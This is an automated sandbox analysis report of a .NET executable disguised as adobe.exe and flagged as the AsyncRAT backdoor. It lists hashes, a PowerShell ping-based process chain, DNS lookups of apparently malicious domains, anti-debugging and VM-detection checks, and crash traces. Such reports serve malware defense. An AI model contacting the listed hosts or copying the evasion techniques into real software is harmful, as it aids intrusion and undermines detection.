Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Dec. 2, 2021, 1:37 p.m.	Dec. 2, 2021, 1:43 p.m.

Size	343.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`565dfda9e888025c3846a1f74e113ec8`
SHA256	`1223a7a56a6ab0504a7fbf3c6045665e4b2cb79a8d3dc451522d527088f26129`
CRC32	`B7B24703`
ssdeep	`3072:Fly5mqjBrDBuyibj+QGxHch32GhNvoxaWy:FKr7ib6o2GhNaa`
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware OS_Processor_Check_Zero - OS Processor Check IsPE32 - (no description) Is_DotNET_EXE - (no description) UPX_Zero - UPX packed file Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

adobe.exe "C:\Users\test22\AppData\Local\Temp\adobe.exe"
2776
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping bing.com
  2908
  - PING.EXE "C:\Windows\system32\PING.EXE" bing.com
    3028
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping bing.com
  2116
  - PING.EXE "C:\Windows\system32\PING.EXE" bing.com
    2188
- adobe.exe C:\Users\test22\AppData\Local\Temp\adobe.exe
  2756

Name	Response	Post-Analysis Lookup
www.mmasafaris.com	CNAME mmasafaris.com A 185.201.11.209	185.201.11.209
www.digi-lime.com	A 217.160.0.159	217.160.0.159
www.equatorkit.club	CNAME equatorkit.club A 103.197.149.166	103.197.149.166
www.6532nixonav.info	CNAME 6532nixonav.info A 18.210.178.226 A 18.209.115.26 A 18.208.10.167	18.210.178.226
www.rvrentalsnear.com	A 34.102.136.180 CNAME rvrentalsnear.com	34.102.136.180
www.rayuramen.com	A 99.86.202.98 A 99.86.202.114 CNAME d5la7xg3f9rvf.cloudfront.net A 99.86.202.89 A 99.86.202.63	54.230.168.96
www.helltea.xyz	CNAME helltea.xyz A 136.243.156.120	136.243.156.120
bing.com	A 204.79.197.200 A 13.107.21.200	13.107.21.200
www.vantagenowllc.com	A 34.102.136.180 CNAME vantagenowllc.com	34.102.136.180

IP Address	Status	Action
103.197.149.166	Active	Moloch
13.107.21.200	Active	Moloch
136.243.156.120	Active	Moloch
164.124.101.2	Active	Moloch
18.210.178.226	Active	Moloch
185.201.11.209	Active	Moloch
185.230.162.254	Active	Moloch
217.160.0.159	Active	Moloch
34.102.136.180	Active	Moloch
99.86.202.114	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49175 -> 136.243.156.120:80	2031088	ET HUNTING Request to .XYZ Domain with Minimal Headers	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW Dec. 2, 2021, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 2, 2021, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 2, 2021, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 2, 2021, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Dec. 2, 2021, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 2, 2021, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 2, 2021, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 2, 2021, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 2, 2021, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 2, 2021, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Dec. 2, 2021, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 2, 2021, 1:37 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Dec. 2, 2021, 1:37 p.m.			0	0
IsDebuggerPresent Dec. 2, 2021, 1:37 p.m.			0	0
IsDebuggerPresent Dec. 2, 2021, 1:37 p.m.			0	0
IsDebuggerPresent Dec. 2, 2021, 1:37 p.m.			0	0

Command line console output was observed (40 events)

Time & API	Arguments	Status	Return
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Pinging bing.com [13.107.21.200] console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: with 32 bytes of data: console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Reply from 13.107.21.200: console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: bytes=32 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: time=2ms console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: TTL=118 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Reply from 13.107.21.200: console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: bytes=32 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: time=2ms console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: TTL=118 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Reply from 13.107.21.200: console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: bytes=32 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: time=2ms console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: TTL=118 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Reply from 13.107.21.200: console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: bytes=32 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: time=2ms console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: TTL=118 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Ping statistics for 13.107.21.200: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Approximate round trip times in milli-seconds: Minimum = 2ms, Maximum = 2ms, Average = 2ms console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Pinging bing.com [13.107.21.200] console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: with 32 bytes of data: console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Reply from 13.107.21.200: console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: bytes=32 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: time=2ms console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: TTL=118 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Reply from 13.107.21.200: console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: bytes=32 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: time=2ms console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: TTL=118 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Reply from 13.107.21.200: console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: bytes=32 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: time=3ms console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: TTL=118 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Reply from 13.107.21.200: console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: bytes=32 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: time=2ms console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: TTL=118 console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Ping statistics for 13.107.21.200: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), console_handle: 0x00000007	1	1
WriteConsoleA Dec. 2, 2021, 1:37 p.m.	buffer: Approximate round trip times in milli-seconds: Minimum = 2ms, Maximum = 3ms, Average = 2ms console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 80 events)

Time & API	Arguments	Status	Return
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003336a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333e20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333e20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333e20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333e20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333e20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333e20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333260 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333fa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333ee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00333ee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057fe90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00580890 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00580890 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00580890 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057ff50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057ff50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057ff50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057ff50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057ff50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 2, 2021, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057ff50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Dec. 2, 2021, 1:37 p.m.		1	1	0

One or more processes crashed (3 events)

Time & API	Arguments	Status
__exception__ Dec. 2, 2021, 1:38 p.m.	stacktrace: K32EnumProcessModules+0x18 RegisterApplicationRestart-0x1be kernel32+0x3b37e @ 0x7670b37e 0x96f1085 0x96f0ffa 0x920db58 0x920d1a3 0x92082f2 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737 mscorlib+0x2d3711 @ 0x72143711 mscorlib+0x308f2d @ 0x72178f2d 0x920220c 0x9201ed9 0x9201341 0xa234425 0x96e3fb3 0x96e36e5 0x96e358b 0x96e34c3 0x96e213d 0x96e15e2 0xa2e661 0xa2e50f 0x9201293 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737 mscorlib+0x2d3711 @ 0x72143711 mscorlib+0x308f2d @ 0x72178f2d 0xa23d1e 0xa21a97 0xa219ae system+0x19c522 @ 0x70a6c522 system+0x19e920 @ 0x70a6e920 system+0x19e803 @ 0x70a6e803 0xa217c9 system+0x1f9799 @ 0x70ac9799 system+0x1f92c8 @ 0x70ac92c8 system+0x1eca74 @ 0x70abca74 system+0x1ec868 @ 0x70abc868 system+0x1f82b8 @ 0x70ac82b8 system+0x1ee54d @ 0x70abe54d system+0x1f70ea @ 0x70ac70ea system+0x1e56c0 @ 0x70ab56c0 system+0x1f8215 @ 0x70ac8215 system+0x1f6f75 @ 0x70ac6f75 system+0x1ee251 @ 0x70abe251 system+0x1ee229 @ 0x70abe229 system+0x1ee170 @ 0x70abe170 0x54a08e gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x76be62fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x76be6d3a GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x76be6de8 GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x76be6e44 KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x7765011a system+0x1ebc85 @ 0x70abbc85 system+0x1f683b @ 0x70ac683b system+0x1a5e44 @ 0x70a75e44 system+0x1fd8a0 @ 0x70acd8a0 system+0x1fd792 @ 0x70acd792 system+0x1a14bd @ 0x70a714bd 0xa20105 exception.instruction_r: 89 04 91 c7 45 fc fe ff ff ff ff 45 10 81 7d 10 exception.symbol: K32EnumProcessModules+0x113 RegisterApplicationRestart-0xc3 kernel32+0x3b479 exception.instruction: mov dword ptr [ecx + edx*4], eax exception.module: KERNEL32.dll exception.exception_code: 0xc0000005 exception.offset: 242809 exception.address: 0x7670b479 registers.esp: 2214412 registers.edi: 1980555208 registers.eax: 16777216 registers.ebp: 2214616 registers.edx: 0 registers.ebx: 0 registers.esi: 1 registers.ecx: 0	1
__exception__ Dec. 2, 2021, 1:38 p.m.	stacktrace: K32EnumProcessModules+0x18 RegisterApplicationRestart-0x1be kernel32+0x3b37e @ 0x7670b37e 0x96f1085 0x96f0ffa 0x920db58 0x920d1a3 0x92082f2 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737 mscorlib+0x2d3711 @ 0x72143711 mscorlib+0x308f2d @ 0x72178f2d 0x920220c 0x9201ed9 0x9201341 0xa234425 0x96e3fb3 0x96e36e5 0x96e358b 0x96e34c3 0x96e213d 0x96e15e2 0xa2e661 0xa2e50f 0x9201293 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737 mscorlib+0x2d3711 @ 0x72143711 mscorlib+0x308f2d @ 0x72178f2d 0xa23d1e 0xa21a97 0xa219ae system+0x19c522 @ 0x70a6c522 system+0x19e920 @ 0x70a6e920 system+0x19e803 @ 0x70a6e803 0xa217c9 system+0x1f9799 @ 0x70ac9799 system+0x1f92c8 @ 0x70ac92c8 system+0x1eca74 @ 0x70abca74 system+0x1ec868 @ 0x70abc868 system+0x1f82b8 @ 0x70ac82b8 system+0x1ee54d @ 0x70abe54d system+0x1f70ea @ 0x70ac70ea system+0x1e56c0 @ 0x70ab56c0 system+0x1f8215 @ 0x70ac8215 system+0x1f6f75 @ 0x70ac6f75 system+0x1ee251 @ 0x70abe251 system+0x1ee229 @ 0x70abe229 system+0x1ee170 @ 0x70abe170 0x54a08e gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x76be62fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x76be6d3a GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x76be6de8 GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x76be6e44 KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x7765011a system+0x1ebc85 @ 0x70abbc85 system+0x1f683b @ 0x70ac683b system+0x1a5e44 @ 0x70a75e44 system+0x1fd8a0 @ 0x70acd8a0 system+0x1fd792 @ 0x70acd792 system+0x1a14bd @ 0x70a714bd 0xa20105 exception.instruction_r: 89 04 91 c7 45 fc fe ff ff ff ff 45 10 81 7d 10 exception.symbol: K32EnumProcessModules+0x113 RegisterApplicationRestart-0xc3 kernel32+0x3b479 exception.instruction: mov dword ptr [ecx + edx*4], eax exception.module: KERNEL32.dll exception.exception_code: 0xc0000005 exception.offset: 242809 exception.address: 0x7670b479 registers.esp: 2214412 registers.edi: 1980555208 registers.eax: 4194304 registers.ebp: 2214616 registers.edx: 0 registers.ebx: 0 registers.esi: 1 registers.ecx: 0	1
__exception__ Dec. 2, 2021, 1:38 p.m.	stacktrace: K32EnumProcessModules+0x18 RegisterApplicationRestart-0x1be kernel32+0x3b37e @ 0x7670b37e 0x96f1085 0x96f0ffa 0x920db58 0x920d1a3 0x92082f2 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737 mscorlib+0x2d3711 @ 0x72143711 mscorlib+0x308f2d @ 0x72178f2d 0x920220c 0x9201ed9 0x9201341 0xa234425 0x96e3fb3 0x96e36e5 0x96e358b 0x96e34c3 0x96e213d 0x96e15e2 0xa2e661 0xa2e50f 0x9201293 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737 mscorlib+0x2d3711 @ 0x72143711 mscorlib+0x308f2d @ 0x72178f2d 0xa23d1e 0xa21a97 0xa219ae system+0x19c522 @ 0x70a6c522 system+0x19e920 @ 0x70a6e920 system+0x19e803 @ 0x70a6e803 0xa217c9 system+0x1f9799 @ 0x70ac9799 system+0x1f92c8 @ 0x70ac92c8 system+0x1eca74 @ 0x70abca74 system+0x1ec868 @ 0x70abc868 system+0x1f82b8 @ 0x70ac82b8 system+0x1ee54d @ 0x70abe54d system+0x1f70ea @ 0x70ac70ea system+0x1e56c0 @ 0x70ab56c0 system+0x1f8215 @ 0x70ac8215 system+0x1f6f75 @ 0x70ac6f75 system+0x1ee251 @ 0x70abe251 system+0x1ee229 @ 0x70abe229 system+0x1ee170 @ 0x70abe170 0x54a08e gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x76be62fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x76be6d3a GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x76be6de8 GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x76be6e44 KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x7765011a system+0x1ebc85 @ 0x70abbc85 system+0x1f683b @ 0x70ac683b system+0x1a5e44 @ 0x70a75e44 system+0x1fd8a0 @ 0x70acd8a0 system+0x1fd792 @ 0x70acd792 system+0x1a14bd @ 0x70a714bd 0xa20105 exception.instruction_r: 89 04 91 c7 45 fc fe ff ff ff ff 45 10 81 7d 10 exception.symbol: K32EnumProcessModules+0x113 RegisterApplicationRestart-0xc3 kernel32+0x3b479 exception.instruction: mov dword ptr [ecx + edx*4], eax exception.module: KERNEL32.dll exception.exception_code: 0xc0000005 exception.offset: 242809 exception.address: 0x7670b479 registers.esp: 2214412 registers.edi: 1980555208 registers.eax: 13107200 registers.ebp: 2214616 registers.edx: 0 registers.ebx: 0 registers.esi: 1 registers.ecx: 0	1

Time & API

Arguments

Status

Return

Repeated

__exception__

Dec. 2, 2021, 1:38 p.m.

stacktrace:

K32EnumProcessModules+0x18 RegisterApplicationRestart-0x1be kernel32+0x3b37e @ 0x7670b37e
0x96f1085
0x96f0ffa
0x920db58
0x920d1a3
0x92082f2
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737
mscorlib+0x2d3711 @ 0x72143711
mscorlib+0x308f2d @ 0x72178f2d
0x920220c
0x9201ed9
0x9201341
0xa234425
0x96e3fb3
0x96e36e5
0x96e358b
0x96e34c3
0x96e213d
0x96e15e2
0xa2e661
